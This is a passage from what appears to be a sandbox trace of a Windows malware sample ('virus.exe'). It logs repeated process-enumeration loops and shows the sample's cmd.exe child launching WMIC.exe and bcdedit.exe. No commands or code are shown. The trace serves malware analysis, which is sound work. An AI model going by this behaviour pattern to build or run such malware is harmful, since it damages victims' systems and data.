cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.796] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.797] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.798] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0278.798] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.799] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0278.799] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0278.799] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0278.800] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0278.800] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0278.800] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.801] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.801] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0278.801] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.802] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0278.802] CloseHandle (hObject=0xc0) returned 1 [0278.802] Sleep (dwMilliseconds=0x1f4) [0279.311] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc0 [0279.313] Process32FirstW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.314] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.314] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.315] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.315] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.316] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.316] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.316] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.321] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.321] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0279.321] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.322] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.322] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.322] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.323] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.323] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.323] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.324] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.324] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.324] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.325] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.325] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0279.325] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.326] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0279.326] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0279.327] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0279.327] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0279.327] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0279.328] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.330] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.336] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.337] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="bcdedit.exe")) returned 1 [0279.337] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="bcdedit.exe")) returned 0 [0279.337] CloseHandle (hObject=0xc0) returned 1 [0279.337] Sleep (dwMilliseconds=0x1f4) [0279.862] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0279.864] Process32FirstW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.865] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.865] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.866] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.866] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.867] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.867] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.868] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.868] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.869] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0279.869] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.869] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.870] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.870] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.871] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.871] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.872] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.872] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.873] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.873] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.874] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.874] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0279.874] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.875] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0279.875] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0279.876] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0279.876] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0279.877] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0279.877] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.878] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.878] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0279.878] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="bcdedit.exe")) returned 1 [0279.879] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="bcdedit.exe")) returned 0 [0279.879] CloseHandle (hObject=0x1a4) returned 1 [0279.879] Sleep (dwMilliseconds=0x1f4) [0280.412] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0280.414] Process32FirstW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, 